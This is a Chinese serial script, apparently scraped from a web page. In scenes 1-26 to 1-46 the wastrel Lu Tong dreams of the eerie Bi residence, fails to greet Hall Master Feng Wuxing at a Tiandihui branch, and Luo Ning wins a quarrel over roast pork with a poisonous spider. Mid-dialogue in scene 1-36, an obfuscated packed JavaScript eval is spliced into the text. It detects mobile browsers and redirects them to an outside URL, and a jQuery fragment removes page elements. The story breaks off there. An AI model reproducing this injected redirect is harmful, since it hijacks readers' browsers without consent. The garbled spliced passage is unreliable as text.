陆通:喂,你傻站着干嘛?还不快跟我一起进去! 玲玲:陆公子,奴家不能进去。 陆通:哦,为何? 玲玲:陆公子,在咱们这座城里,求毕先生办事,有一个规矩。 陆通:什么规矩? 玲玲:有求于他的人,才能进去。 陆通:咦,怪了!这家伙连问都还没问,怎么会知道我有求于他? 玲玲:嘻嘻,陆公子,您放心!毕先生可是活菩萨,他什么都知道。 1-26 毕府,前门(日,外) 人物:陆通、玲玲 陆通刚走到门前,门便吱呀一声开了,环顾四周,一个门房都没有,陆通的心中不免有些奇怪。 陆通:这么大的宅子,怎么连一个门房都没有? 陆通正犹豫着要不要进去,却听身后的玲玲在叫。 玲玲:陆公子,门已经开了,您快进去吧!毕先生正等着您呢! 陆通:唉,行吧。反正来都来了,进去问问也无妨,没准儿他真能借给我呢。 陆通信步走了进去,身后的门又吱呀一声关上了。 1-27 毕府,前院(日,外) 人物:陆通 眼前,是一块玉屏风,正对着门,上面镶着一面铜镜。 陆通:(自言自语)这位毕先生,倒也是个讲究人,还在这里挂着一面照妖镜。(脑海中突然冒出一个念头)听说这东西能照出人的前世今生,也不知是真是假,趁这个机会,我也来试试!(凑过去把脸贴在铜镜上)嗯,让我瞧瞧!咦,怎么这么黑呀?是不是没擦干净?(朝铜镜上吐了口唾沫,用袖子擦了擦,又把脸贴上去)噢,原来是只乌鸦!咦,不对呀!我陆通这么有福报的一个人,前世怎么会是只乌鸦?绝不可能!它肯定是弄错了!(正要离开,又忍不住瞥了一眼,发现铜镜里的景物起了变化,那只乌鸦竟然变成了一个长发飘飘的美男子)天呐,这是谁?难不成是我?简直太帅了!咦,不对呀!他的脸上怎么还涂了胭脂?该不会是个太监吧?呸呸呸!什么破玩意儿!把好端端的人,全照成了丑八怪!唉,罢了,还不如不看! 陆通收回目光,四下瞅了瞅,庭院里很安静,一个人都没有。 陆通:咦,怪了!怎么没人?会不会出门去了?不过话说回来,如果没人的话,刚才又是谁给我开的门呀? 想到这里,他的心头倏地一沉,回想起铜镜里的景象,再看这栋宅子时,竟有些阴森森的。 陆通:怎么办?要不还是先离开吧? 他转身要走,想起那五百两银子,犹豫了半天,又硬着头皮留了下来。 陆通:大白天的,哪来什么鬼呀?肯定是我想多了!不是有句话叫“大隐隐于市”吗?也许这个毕先生为人低调、不爱使唤人呢!还是进去瞧瞧吧! 他刻意地避开那面铜镜,绕过屏风,又往里走了半天,把庭院的各处都转遍了,也没见着一个人。 陆通:怎么回事?不应该呀!(见不远处有一栋小楼)会不会在屋里? 他决定过去看看。 1-28 毕府,小楼(日,内) 人物:陆通、陆平川 小楼的门虚掩着。怕惊扰了屋里的人,进去之前,陆通先敲了敲门。 陆通:有人吗? 无人应答。 陆通:该不会也没人吧?这到底是个什么地方?为何一个人都没有?(又敲了敲门,接连喊了几声)毕先生!毕先生!您在吗? 还是无人应答。 陆通:怎么办?到底进不进去?(思来想去)没人的话,还是别进去了! 陆通转身要走,小楼的门忽然开了,他下意识地回头一望,顿时吃了一惊:这屋里的陈设,怎么看上去那么眼熟,竟然跟他自己的屋子一模一样,也包括那个瓷娃娃,就摆在床头上。 陆通抬脚走进屋子里,凑过去细细地打量那个瓷娃娃。 陆通:这个毕先生,到底是谁呀?他怎么也有一个这样的瓷娃娃? 陆通越想越觉得不对劲儿,决定还是趁早离开这个诡异的地方。 外面突然响起一个声音。 陆平川:通儿!通儿!你在吗? 陆通:爹?他……他怎么也来了? 陆通大吃一惊,没等他出去看个明白,陆平川已经大踏步走了进来。 陆平川:通儿!原来你在呀,怎么也不答应一声? 陆通:爹!您……您怎么也来了? 陆平川:什么叫我也来了?你怎么这么快就回来了? 陆通:回来了? 陆平川:你小子怎么回事呀?是不是还没睡醒?我问你,之前我让你去庄谐城里收租金,这事办好了没? 陆通:租……租金? 陆平川:对呀,办好了没? 陆通:我……我…… 陆通结结巴巴,不知该如何回答,见他这样,陆平川顿时恼了。 陆平川:(指着陆通的鼻子)臭小子,你是不是又把事给我办砸了?你说你这么大岁数了,怎么连这点儿小事都办不好呀?说!钱呢?是不是又被你花掉了? 陆通:爹!这到底是怎么回事呀?这里不是毕府吗?您怎么也来这里了?难不成您也认识毕先生? 陆平川:臭小子,我问你租金的事,你在胡说什么呢?什么毕先生?别跟我扯那些没用的!我就问你,钱呢?到底收了没? 陆通:收……收是收了,不……不过…… 陆平川:不过怎么?臭小子,你到底说不说?再敢磨磨唧唧的话,老子可要揍人了! 陆通:(吓得连忙跪下)爹!爹!求求您原谅我吧!我真的不是故意的! 陆平川:(眯起眼)臭小子,你在说什么呢?什么故意不故意?快给老子讲明白了! 陆通:(战战兢兢地)我……我昨晚喝醉了,被……被肖建他们几个强行带去了格斗场,钱……全……全输光了。 陆平川:你……唉,老子真后悔生了你这么一个废物!哼! 陆平川揪住陆通,狠命地打了起来。 3. 第一篇 贵客来了 锦州,丰饶城 1-29 陆府,陆通的屋子(日,内) 人物:陆通、顺儿 陆通紧闭着双眼,在床上痛苦地大叫。 陆通:爹!爹!别打了!别打了!儿子知道错了!…… 顺儿:少爷!醒醒!您怎么了? 陆通:(猛然惊醒)顺儿? 顺儿:少爷,您怎么了?是不是做噩梦了? 陆通:我……我到底在哪里呀? 顺儿:少爷,您是不是哪里不舒服呀?要不要我找赵大夫过来给您瞧瞧? 陆通:顺儿!真……真的是你吗?(环顾四周,还是那间屋子,一模一样的陈设,分不清到底是在自己的屋里还是在毕先生的屋里)这……这到底是什么地方?发……发生了什么事? 顺儿:少爷,您别吓我!我这就去找赵大夫!(转身要走,被陆通揪住) 陆通:顺儿,别走!你先告诉我,这里到底是什么地方? 顺儿:少爷,您在胡说什么呢?这里不是您自己的屋子吗? 陆通:不对呀,毕先生的屋子也是这个样子,还有这个瓷娃娃,他也有一个! 顺儿:少爷,谁是毕先生? 陆通:你……你不知道? 顺儿:我好像没听您提起过,是不是您新结交的朋友?他是谁呀? 陆通:这……这到底是怎么回事呀?我明明进了他的屋子里,又看见我爹来找我,问起租金的事…… 顺儿:租金?是不是您在庄谐城里收的租金呀? 陆通:对呀,我把钱全输光了,被我爹痛打了一顿…… 顺儿:(不禁笑了)少爷,您肯定是做噩梦了! 陆通:做噩梦? 顺儿:对呀!那些租金您昨晚回来后,就全交给老爷了。 陆通:全交给我爹了? 顺儿:对呀!老爷不但没打您,还不住地夸您呢! 陆通:真……真的吗?你可别哄我! 顺儿:少爷,您瞧瞧您,身上全是汗,准是被噩梦给吓坏了! 陆通:真……真的是梦呀?(见顺儿肯定地点点头,方才松了口气)唉哟妈呀,吓死我了!我还以为这回玩完了呢!你知不知道,我爹把十八般武器全用上了,打得我浑身都是血,你要是再晚点儿叫我,我可就没命了! 顺儿:(笑着安慰)少爷,您别怕,那就是一个梦! 1-30 天地会分会,小树林(夜,外) 人物:余守泰、金鹏 柴房的后面,有一片小小的树林,平日里甚少有人走动。一到晚上,金鹏便在这里偷偷地练功。 余守泰拎着一壶茶,走进小树林里。 余守泰:鹏子!来来来,喝口茶解解渴! 金鹏:哥,你不是去找陆公子了吗?怎么这么快就回来了? 余守泰:陆公子没在。 金鹏:又没在?噢,我明白了,他是不是又去找那个小寡妇了? 余守泰:嘘!知道就行了,千万别说出来,要是被陆老爷听见了,又不知会气成什么样儿。 金鹏:(呵呵一笑)都说虎父无犬子,要我说,这也不一定! 兄弟俩在石桌前坐下,边喝茶边聊。 余守泰:鹏子,你练的这些招式,我以前好像没见过,谁教你的? 金鹏:我自己偷偷学的。 余守泰:跟谁? 金鹏:还能跟谁?不就是练武场上的那些师父吗?他们虽然不肯教我,可我把他们的招式都记下来了,想练还不容易吗? 余守泰:鹏子,跟你说句心里话,哥觉得你这个样子,若再回到格斗场上,真有点儿太可惜了。 金鹏:什么意思? 余守泰:你有没有想过,留在天地会里? 金鹏:留在这里?哥,那刘恩庆和刘立鸿给咱们的气,你还没受够啊? 余守泰:我说的不是留在这里。 金鹏:那是什么? 余守泰:如果咱俩能进入总会的话…… 金鹏:(打断)哥,你是不是觉得咱俩现在成了分会的弟子,就能进入总会了? 余守泰:为何不可?风堂主眼看着就要来了…… 金鹏:他来跟咱们有何关系?分会里这么多弟子,你真以为他能看上咱们呀?要我说,你还是趁早死了这条心,等这段日子风声过去后,咱俩就离开这里…… 余守泰:(压低声音)尖刀帮已经放出话来,要取你的身家性命! 金鹏:我现在不是好好的吗? 余守泰:你没事,不是因为你的功夫好,而是因为有天地会罩着你。 金鹏:提起这个,我也觉得挺意外。来这里之前,那帮家伙就像一群苍蝇,不管咱俩走到哪里,都能遇上他们;可来这里之后,他们便不见了。 余守泰:(摇摇头,指着不远处临街的一面墙)不是不见了。喏,看见那堵墙没?他们就在墙的后面。 金鹏:他们怎么没来找天地会要人? 余守泰:他们不敢!陆公子是他们的常客,不知道被他们坑了多少回。来这里之前,我就想好了,只要他们敢来找天地会要人,我就把打假拳的事说出来,让他们吃不了兜着走! 金鹏:说出来的话,咱俩也没得混了。 余守泰:那就留下来呗! 金鹏:留下来也不一定能进入总会呀! 余守泰:一旦进入了总会,别说是尖刀帮,管它什么门什么派,都不敢招惹你! 金鹏:(眯起眼)哥,你是不是又有什么打算? 余守泰:嘿嘿,实话告诉你吧,我把那块腌好的猪腿肉给了亮子。 金鹏:亮子?他不是刘恩庆的小舅子吗?你把肉给了他,不就等于给了刘恩庆吗? 余守泰:说对了!我就是要他姐给刘恩庆吹一吹枕边风…… 金鹏:刘恩庆是陆府的管家,又不是天地会的管家,风堂主选谁,难道还要问问他的意思呀? 余守泰:他虽然做不了主,可参选的名单却是他在抄录。我担心,如果他在暗中使坏,故意漏掉你的名字或者拿别人来冒充你,怎么办? 金鹏:唉,行吧。反正那肉也不是咱俩出钱买的,就当是喂狗了! 1-31 刘恩庆家(夜,内) 人物:刘恩庆、刘立鸿 锅里的汤咕嘟咕嘟地冒着泡,屋子里全是浓浓的肉香。 刘恩庆和刘立鸿相对而坐,一口酒一口肉,吃得正欢。 刘立鸿:嫂子的手艺可真好,这肉炖得比之前更香了! 刘恩庆:不是她的手艺好,而是用的黑猪肉。 刘立鸿:黑猪肉? 刘恩庆:余守泰给的。 刘立鸿:他?呵呵,终于想明白了呀? 刘恩庆:天天跑五十圈,换谁都能想得明白。 二人相视一笑,又吃肉喝酒,接着往下聊。 刘立鸿:听说风堂主已经到了端方城? 刘恩庆:嗯,是这么回事儿。 刘立鸿:会长那边好像没什么动静,他不去接他们吗? 刘恩庆:又不是总会长,接什么呀?他这个堂主,若搁在咱们分会,也就跟我差不多。总不能我来了,还要你们去接吧? 刘立鸿:呵呵,也是。(压低声音)那个……选人的事,打算怎么办?还是照老规矩来吗? 刘恩庆:规矩是人定的。 刘立鸿:什么意思? 刘恩庆:陆老爷说了,就是你。 刘立鸿:那还选什么,让我过去不就行了? 刘恩庆:过场还是要走,免得人家说闲话。你呀你,就等着接风堂主的班吧! 锦州,郊外 1-32 马车车厢(日,内) 人物:风无行、洛宁 马车在路上行驶。风无行和洛宁坐在车厢里,银华骑马与他们同行。 风无行:丫头,选人的事,你怎么看? 洛宁:我? 风无行:对呀,说来听听。 洛宁:风堂主,您是不是问错人了? 风无行:有何不妥? 洛宁:我不是天地会的弟子,你们和敬堂选人,我凭什么说三道四? 风无行:丫头,想知道这一趟我为何要带上你吗? 洛宁:不是你说锦州这边的风景独好吗? 风无行:(点点头)嗯,锦州这边有一些东西,在凤凰城里是看不到的。 洛宁:无行大哥,你到底想怎样? 风无行:也没什么,就是想听听不同的声音。 洛宁:你怎么不找顾云飞?他的声音最为与众不同。 风无行:他要是来了,会吓着他们。 洛宁:他们?谁呀? 风无行:丫头,我在分会里选人的时候,你是不是也该找点儿事做呀? 洛宁:你想让我干什么? 风无行:(笑望着她)四处走一走、看一看,跟我说说,哪里的风景独好。 锦州,丰饶城 1-33 陆府,陆平川的屋子(夜,内) 人物:陆平川、陆通 陆平川坐在椅子上,陆通站在他面前。 陆平川:通儿,为父有件事,想交给你去办。 陆通:爹,什么事呀? 陆平川:风堂主不是马上就要来了吗?你去城外接一下他。 陆通:我?接风堂主? 陆平川:怎么?不行呀? 陆通:不不不,当然行了!只不过孩儿不是天地会的人,去接风堂主的话,合适吗? 陆平川:你虽然不是天地会的人,但你却是我陆平川的儿子,你替我出面,再合适不过了。 陆通:爹,您不打算去吗? 陆平川:若是总会长来了,我当然要去,但这回来的是风堂主,他的岁数比我小,我去接他,有失身份。 陆通:哦,明白了。爹,您放心,这件事交给儿子,一定给您办妥了! 锦州,郊外 1-34 客栈,大堂(日,内) 人物:陆通、顺儿、客栈掌柜及其侄女 一大早,陆通便带着顺儿,前往城外的客栈里住下,静候着风无行的到来。 顺儿:少爷,风堂主刚刚走到端方城,离这里还有一段路程,您这会儿就来城外等着他,是不是有点儿早了? 陆通:早什么呀?一点儿也不早! 陆通的眼睛,一直盯着邻桌的小姑娘,她正背对着他,收拾桌上的碗筷。 顺儿:(会意地笑)嘿嘿,少爷,我明白了。您不是来早了,而是来晚了。 陆通:这姑娘是谁?那么好看的一双手,怎么能干这种粗活儿?你去跟掌柜的说一声,把她让给我吧。 顺儿:好嘞,少爷,您先吃着喝着,我去去就来。 顺儿去跟客栈掌柜打听小姑娘的事,过了一会儿方才回来。 陆通:怎么样?我见他不住地摇头,是不是不肯答应? 顺儿:少爷,咱们弄错了。这姑娘不是店里的伙计,而是他的亲侄女。 陆通:亲侄女? 顺儿:他哥哥的女儿。他哥哥死得早,嫂子又改了嫁,留下这姑娘一个人,无依无靠,掌柜的见她可怜,便收养了她。 陆通:既如此,为何不好生待她?他自己没孩子吗?怎么没让他自己的孩子出来干活儿? 顺儿:他自己也有孩子,还不止一个,岁数跟这姑娘差不了多少,过几年都要出嫁,五个女儿五份嫁妆,可不是一笔小数目。 陆通:也就是说,这姑娘在这里干活儿,是为了给自己挣嫁妆。 顺儿:没错。 陆通:那就好办了!你去跟他说一声,这姑娘的嫁妆我给了! 顺儿:这是他哥哥的女儿,他未必肯答应,不过…… 陆通:不过什么? 顺儿:他老婆兴许会答应,毕竟不是亲生的,能省就省呗! 陆通:那就去跟他老婆说!只要这姑娘能陪本少爷住上几日,她想要多少嫁妆都行! 锦州,丰饶城 1-35 天地会分会,练武场(日,外) 人物:陆平川、刘恩庆、门房、弟子若干 陆平川正在检查弟子们练武的情况,门房突然来报。 门房:老爷!老爷! 陆平川:怎么了? 门房:风堂主来了! 陆平川:(吃了一惊)风堂主来了?通儿呢? 门房:小的没看见少爷。 陆平川:没看见他?(顿时恼了)哼,臭小子,就只会坏我的好事儿!(说完便带着手下匆匆地去门口接风无行了) 锦州,郊外 1-36 客栈,客房(日,内) 人物:陆通、顺儿、客栈掌柜的侄女 陆通正搂着他的新欢在屋里睡觉,却被一阵急促的敲门声吵醒。 顺儿:少爷,醒醒!快起来! 陆通:(磨磨蹭蹭地打开门,一脸的不高兴)干什么呀?不是跟你说了没事别叫我吗? 顺儿:少爷,风……风堂主,他……他…… 见顺儿语无伦次,陆通顿时急了。 陆通:他怎么了?你快说呀! 顺儿:少爷,风……风堂主已经进城了! 陆通:(大吃一惊)啊?怎么可能!我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007350|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是让你在路口等着他吗?臭小子,你是不是也睡过头了? 顺儿:不是啊,少爷!我刚刚接到消息,风堂主走的是北门! 陆通:北门?他不是从安泽城过来的吗?怎么会走北门? 顺儿:是啊,我也没想到他会绕远路。咦,他会不会去了落霞山? 陆通:落霞山?嗯,有可能。这个时候,就数那里最凉快了。 顺儿:少爷,既然风堂主已经进了城,咱们怎么办? 陆通:还能怎么办?赶紧追过去呀! 锦州,丰饶城 1-37 天地会分会,客厅(日,内) 人物:陆平川、风无行、洛宁、银华、刘恩庆 陆平川将风无行等人迎进屋里,又让刘恩庆给他们端来上好的茶水。 没见着陆通,洛宁好奇地问陆平川。 洛宁:陆伯伯,怎么没看见陆通哥哥? 陆平川:哦,他呀,真不巧!前阵子中暑了,正在屋里躺着呢。不然的话,我早就派他去城外接你们了,唉! 洛宁:中暑了?严不严重?要不要我去看看他? 陆平川:哦,已经找大夫瞧过了,说是让他好好休息,过两天就没事了。 洛宁:这样啊。(与银华交换了一下眼色,有些失望地)唉,真可惜,上回在凤凰城,他还说要带着我遍访锦州的美景呢! 陆平川:等他好些了,我就让他带你去。 1-38 天地会分会,前门(日,外) 人物:陆通、顺儿、门房若干 陆通带着顺儿匆匆从城外赶回,却被门房拦住,不许他俩进去。 门房:少爷,您不能进去! 陆通:你说什么?你再说一遍! 门房:少爷,老爷刚刚吩咐下来,您不能进去。 陆通:到底是我听错了还是你们说错了?(指着自己的脸)你们看清楚了!我是陆通,是陆平川的儿子,这里是我家,我凭什么不能进去? 门房:少爷,这是老爷的意思,小的也不敢违背呀!要不您去后门瞧瞧,没准儿他们会让您进去呢! 陆通:我一个堂堂的陆府少爷,回自己的家,居然还要走后门? 门房:少爷,您就别为难小的了! 陆通:你们这些家伙,平日里没少对我献殷勤,如今为了我爹的一句话,连我这个少爷都不肯认了!你们给我等着!回头看我怎么收拾你们!哼! 1-39 天地会分会,院墙外(日,外) 人物:陆通、顺儿 陆通又带着顺儿去了后面,也是同样被拦在了门外。他俩绕着陆府转了几圈,把前门后门大门小门都走遍了,也没有一个门房敢违背陆平川的意思、放他俩进去。 顺儿:少爷,怎么办?老爷肯定在生您的气呢! 陆通:他又不是头一回生我的气,我早就不在乎了。我现在最担心的是宁妹妹…… 顺儿:洛姑娘?她怎么了? 陆通:她好不容易来这里一趟,我却没有第一个出现在她的面前,她肯定会以为我没把她当回事儿。 顺儿:(心中颇有些无奈)那怎么办呀? 陆通:我得去跟她解释一下,不能让她误会我了。 顺儿:可咱们这会儿进不去,只能等老爷气消了再说。 陆通:等他气消了,宁妹妹就不会再搭理我了。 顺儿:那怎么办呀?前门中门后门咱们都走遍了,没一个肯让咱们进去,总不能去钻狗洞吧? 陆通:(心头一动)狗洞? 顺儿:少爷,您该不会真打算这么办吧? 陆通:为了宁妹妹,少爷我豁出去了,钻就钻! 1-40 天地会分会,洛宁居住的客房(夜,内) 人物:洛宁、银华 银华来找洛宁,告诉她一个坏消息。 洛宁:你说什么?陆通被打了? 银华:唉,可惨了! 洛宁:怎么回事?他不是中暑了吗?谁敢在这个时候打他? 银华:他爹。 洛宁:额,不愧是亲生的。咦,不对呀!他中暑的事,他爹不是知道吗?为何还要打他? 银华:所谓的中暑,只是一个说法。 洛宁:你的意思是,他没中暑?那他爹为何要这样说? 银华:他爹派他去城外接咱们,却不料他睡过了头,咱们来到陆府的时候,他还在城外的客栈里。 洛宁:所以他回来后,就被他爹打了一顿? 银华:他爹打他,不是因为他误了时辰,而是因为他放着好好的门不走,偏偏要去钻狗洞,又因为个头儿太大,被卡在了里面,想进进不来、想出出不去。 洛宁:(扑哧一笑)啊!怎么会这样? 银华:可不是嘛,丢人丢到家了!哈哈哈! 洛宁:那他现在怎么样了? 银华:被他爹逮住之后,暴揍了一顿,正在屋里躺着呢,哦,不对,是趴着呢! 洛宁:这件事无行大哥知道吗? 银华:分会上上下下都传遍了,他怎么可能不知道? 洛宁:他怎么说? 银华:还能怎么说?无非是跟咱们一样,装聋作哑呗!这种事要是说了出来,陆会长的那张老脸,怎么挂得住呀?哈哈哈! 1-41 天地会分会,小树林(夜,外) 人物:余守泰、金鹏 金鹏来到石桌前,端起茶杯一饮而尽,见余守泰正在发呆,又忍不住笑了。 金鹏:哥,你在想什么呢? 余守泰:(叹了口气)唉,怎么会这么巧?洛姑娘上午刚到,陆公子下午就病了,他俩的烛光晚餐,怕是要泡汤了。 金鹏:一顿饭而已,等他好了,照样能吃。 余守泰:到那时,谁知道洛姑娘还在不在这里呢。 金鹏:(打趣)哥,你是不是想当他俩的媒人呢?当初你不是说,他俩压根儿就没戏吗?总不能因为一顿烛光晚餐,他俩就成了吧? 余守泰:他俩成不成,我倒是不担心,我只担心这一天一头大黑猪,他俩若是不吃的话,咱俩哪里吃得下呀?这么好的东西,可别浪费了! 金鹏:不是还有刘恩庆吗?昨儿他还跟你抱怨,说你把他孩子的嘴喂刁了,如今除了大黑猪之外,别的肉都不肯吃。那意思不就是想让你再多给他送些吗? 余守泰:唉,别提了!今儿下午陆公子刚刚挨了打,他立马就找了过来,把一整头猪都拿走了…… 金鹏:一整头?他也不怕把他孩子给撑死了? 余守泰:(狡黠一笑)不过幸好,我偷藏了一块。一会儿你练完了功,哥给你做顿好吃的! 4. 第一篇 贵客来了 锦州,丰饶城 1-42 天地会分会,走廊上(夜,外) 人物:洛宁、银华 两条人影在廊下飞快地、悄无声息地走着。 洛宁:银华,咱们住的地方离□□的厨房更近,为何不去那里? 银华:□□的厨房是给陆家人做饭的,咱们去那里找吃的,相当于偷。 洛宁:前庭的厨房呢?难道就不是偷了吗? 银华:前庭的厨房是给分会的弟子们做饭的,跟咱们自家的厨房差不多,去那里找吃的,相当于拿。 洛宁:唉,你倒是挺讲究。 1-43 天地会分会,厨房(夜,外) 人物:洛宁、银华、余守泰、金鹏 厨房里亮着灯。 洛宁和银华来到窗外,往里一瞅,发现有一个矮矮胖胖的中年男人,嘴里哼着小曲儿,正在灶台前忙活着。 洛宁:这么晚了,厨房里怎么还有人呀? 银华:也许是在准备明天的早饭吧。 洛宁:咱俩来这里的事,不能让无行大哥知道了。 银华:这个我当然明白,你在这里等着,我进去搞定他。 银华刚走进厨房,金鹏也从小树林里回来了。见窗外站着一个人,他心中一惊,怕是有贼,便悄悄靠拢过去,一把揪住那个人,正挥拳要打,当看见她的脸时,倏地愣住了。 金鹏:瓷娃娃? 没等他回过神来,洛宁已伸出尖尖的指甲,戳向他的眼睛。 金鹏惨叫一声松开手,洛宁趁机逃进厨房里。 1-44 天地会分会,厨房(夜,内) 人物:洛宁、银华、余守泰、金鹏 洛宁进屋一看,余守泰倒在地上不省人事。 洛宁:呀,你怎么把他打晕了? 银华:我想点他的穴,可惜不管用。 洛宁:顾云飞教你的时候,你肯定没好好学。 银华:(嘿嘿一笑)你怎么进来了? 洛宁:(指了指门外)又来了一个! 银华:又来?这些家伙怎么了?不睡觉吗? 银华冲了出去,与赶来的金鹏迎面撞上,银华挥拳就打,金鹏下意识地还击,二人从屋里打到屋外。 1-45 天地会分会,厨房(夜,外) 人物:洛宁、银华、金鹏、顺儿 跟金鹏对打,银华有些不耐。 银华:臭小子,谁让你还手的?你怎么不学学里面的那个家伙、躺在地上装死呢? 金鹏:你是谁?把我哥怎么样了?快让开! 银华:噢,原来他是你哥呀!那我就好人做到底,把你也打晕过去,给他做个伴儿!哈哈哈! 就在这时,又来了一个不速之客,见二人交手,吃惊地问。 顺儿:银公子?金鹏?你俩在干嘛? 银华:顺儿? 金鹏:银公子? 银华和金鹏也吃了一惊,停下手。 银华:顺儿,你不在□□伺候你家少爷,跑来这里干嘛?(又冲着厨房里喊)丫头,怎么办?来了一个认识咱俩的家伙,这下瞒不住了! 洛宁从屋里跑出,看见顺儿,顿时吓了一跳,顺儿看见她,也瞪大了眼睛。 洛宁:顺儿? 顺儿:洛姑娘?您……您怎么也在这里? 金鹏:洛姑娘? 四个人面面相觑,都十分意外。 1-46 天地会分会,厨房(夜,内) 人物:洛宁、银华、余守泰、金鹏 、顺儿 屋里的余守泰醒了过来,摸着被打疼的脑袋,唉哟唉哟地直叫唤。 余守泰:唉哟哟,疼死我了!鹏子!鹏子!你在哪儿? 金鹏撇下众人,冲进来扶起余守泰。 金鹏:哥,你怎么样了?没事儿吧? 余守泰:唉哟哟,刚才也不知是什么东西,突然掉下来砸中了我的脑袋。唉哟哟,疼死我了! 洛宁、银华、顺儿也从外面进来。 余守泰:顺……顺儿?鹏子,我的眼睛是不是出毛病了?我好像看见顺儿了!(又指着银华和洛宁)还有这二位,呀,这位姑娘,怎么跟陆公子床头上的那个瓷娃娃一模一样,是不是它复活了? 金鹏:哥,胡说什么呢,这位是洛姑娘。 余守泰:洛……洛姑娘? 余守泰一下子清醒过来,顾不上头疼,忙起身作礼。 余守泰:洛……洛姑娘好! 洛宁冲着他点了点头,又问顺儿。 洛宁:顺儿,你怎么来了? 顺儿:洛姑娘,您怎么来了? 洛宁:唉,既然被你撞见了,我就实话跟你说吧,我肚子饿了,过来找点儿东西吃。 顺儿:噢,原来是这样。我家少爷也说肚子饿了,想让余大哥给他弄盘烤肉。 洛宁:(眼前一亮)烤肉? 银华:不对吧!顺儿,你家少爷肚子饿了,应该让□□的厨子给他做顿好吃的,来这里干嘛? 顺儿:嘿嘿,银公子,您有所不知,余大哥的烤肉做得比外面酒楼里的还要香,我家少爷连吃了一个月,还嫌不够。 银华:(吃惊)连吃了一个月? 顺儿:对呀!其实这烤肉,是我家少爷特意给洛姑娘准备的,为了让余大哥能做出天底下最美味的烤肉,我家少爷每天都让我从外面弄来一头散养的大黑猪…… 银华:散养的大黑猪?还每天一头? 顺儿:对呀!余大哥天天做,我家少爷天天吃…… 银华:呵呵,我算是明白了,难怪他会被卡住。 此话一出,众人都笑了。 洛宁将兄弟俩打量了一番,来到余守泰面前。 洛宁:他说的余大哥,应该就是你吧? 余守泰:对对对,我就是!洛姑娘,您想吃什么,尽管跟我说,只要我会做的,一定给您做出来! 洛宁:那就给我来盘烤肉吧。 顺儿:余大哥,既然洛姑娘也想吃烤肉,那就一起做吧。 余守泰:(面露难色)这…… 洛宁:怎么了? 余守泰:就剩下一块肉了,只够做一盘。 顺儿:一头大黑猪,就剩下一块肉?别的呢?谁吃了?余守泰,你是不是见我家少爷起不了床,就以为他吃不下肉,所以你们兄弟俩把肉给分了? 金鹏:胡说什么呢!我们兄弟俩到现在连大黑猪的肉是什么味儿都不知道! 顺儿:那肉呢?哪去了? 余守泰:顺儿小兄弟,你听我说!不是我们兄弟俩把肉给分了,而是这天太热了,肉从早上放到现在,早就臭了,只能扔掉了。 洛宁:那么多肉全扔掉了? 余守泰:全……全扔掉了。 洛宁:简直是暴殄天物!余大哥,趁着这块肉还没臭,赶紧把它做了! 余守泰:好好好,我这就来做! 余守泰动手做烤肉,金鹏给他帮忙,一边听着三个人的对话。 顺儿:洛姑娘,烤肉只有一盘,怎么分呀? 洛宁:我是客,当然是给我吃了。 银华:说得没错!陆通不是天天都在吃吗?偶尔一顿不吃死不了! 顺儿:可我家少爷还病着呢!你们总不能跟一个病人抢东西吃吧? 余守泰:洛姑娘!顺儿小兄弟!要不你们一人一半,怎么样? 银华:一盘都不够吃,还一人一半?要我说,陆通既然病着,就该忌口才对! 顺儿:我家少爷就是因为嘴里没味儿,才想吃这个呢! 洛宁:得得得,你俩别吵了!顺儿,这样吧,你在我和银华之间,随便挑一个,如果你能赢了我们中的任何一个,这盘肉就归你! 顺儿:打……打架呀? 洛宁:这里可是天地会。 银华:说得没错!快选吧,我等不及要吃这盘烤肉了! 顺儿:洛姑娘、银公子,咱们还是坐下来、心平气和地商量一下吧! 银华:人都快饿晕了,还商量什么呀?就算是商量,也要等吃饱了再说! 洛宁:对呀,快选吧。 顺儿:洛姑娘,如果我没记错的话,您好像不会功夫吧?银公子是个高手,我肯定不会选他,但您就不一样了。虽说好男不跟女斗,但眼下这种情况,我就算是个傻子,也知道应该选您。 银华扑哧一笑,洛宁瞪了他一眼,又问顺儿。 洛宁:这么说,你打算选我了? 顺儿:当然了!不过先说好,一会儿您要是受了伤,可别赖上我哟。 余守泰:洛姑娘,要不让我家鹏子…… 银华:余大哥,你别管! 银华这么一说,余守泰也不敢插嘴了,又听洛宁接着问顺儿。 洛宁:你想清楚了? 顺儿:(点点头)想清楚了! 洛宁:不后悔? 顺儿:(摇摇头)不后悔! 洛宁:唉,果然是人善被人欺呀! 银华:呵呵,丫头,你打算怎么对付这小子?要不要我给你支个招儿? 洛宁:我已经赢了。 此话一出,众人都吃了一惊。 银华:已经赢了?什么意思?你还没出手呢! 洛宁:可他已经被我打败了,不信的话,你过去瞧瞧呗。 洛宁朝顺儿努努嘴,银华半信半疑地走过去,见顺儿坐着不动,忍不住问。 银华:喂,顺儿,怎么回事?她对你做了什么? 顺儿没有回答,他像木头一样呆坐着,连眼睛都不眨一下。 银华:咦,怪了! 银华用手推了推顺儿,这才发现他整个人都僵住了,不能说话不能动。兄弟俩见状,也跟着大吃一惊。 银华:(回头问洛宁)天呐!你是怎么办到的?点了他的穴吗? 金鹏:(忍不住插嘴)可她连碰都没碰过他! 众人把目光投向洛宁。 银华:快说说!你都干了些什么? 洛宁:不是我干的,是它干的。 洛宁轻轻一笑,摊开右手,掌心里有一只蓝色的小蜘蛛。 银华:又是这个家伙!你怎么不管上哪儿、都要带上它呀? 洛宁:因为它总喜欢藏在我的头发里。 洛宁把小蜘蛛放在头花上,它扒拉了几下之后,便钻进头发里不见了。 余守泰:洛姑娘,这是什么宝贝?简直太稀罕了! 洛宁:就是一只小蜘蛛而已,只不过它身上有毒,趁着我刚才跟顺儿说话的工夫,它悄悄跑过去、叮了他一口。 银华:(笑着对顺儿)小子,听见没?你只知道她不会功夫,却不知道她会下毒。当年她敢只身一人从聚胜古都回到凤凰城,可不仅仅是因为胆子大而已!哈哈哈! 顺儿的眼珠子动了动,像是明白了。 余守泰:洛姑娘,他身上的毒,要不要紧呀?既然胜负已分,不如您先帮他解了吧! 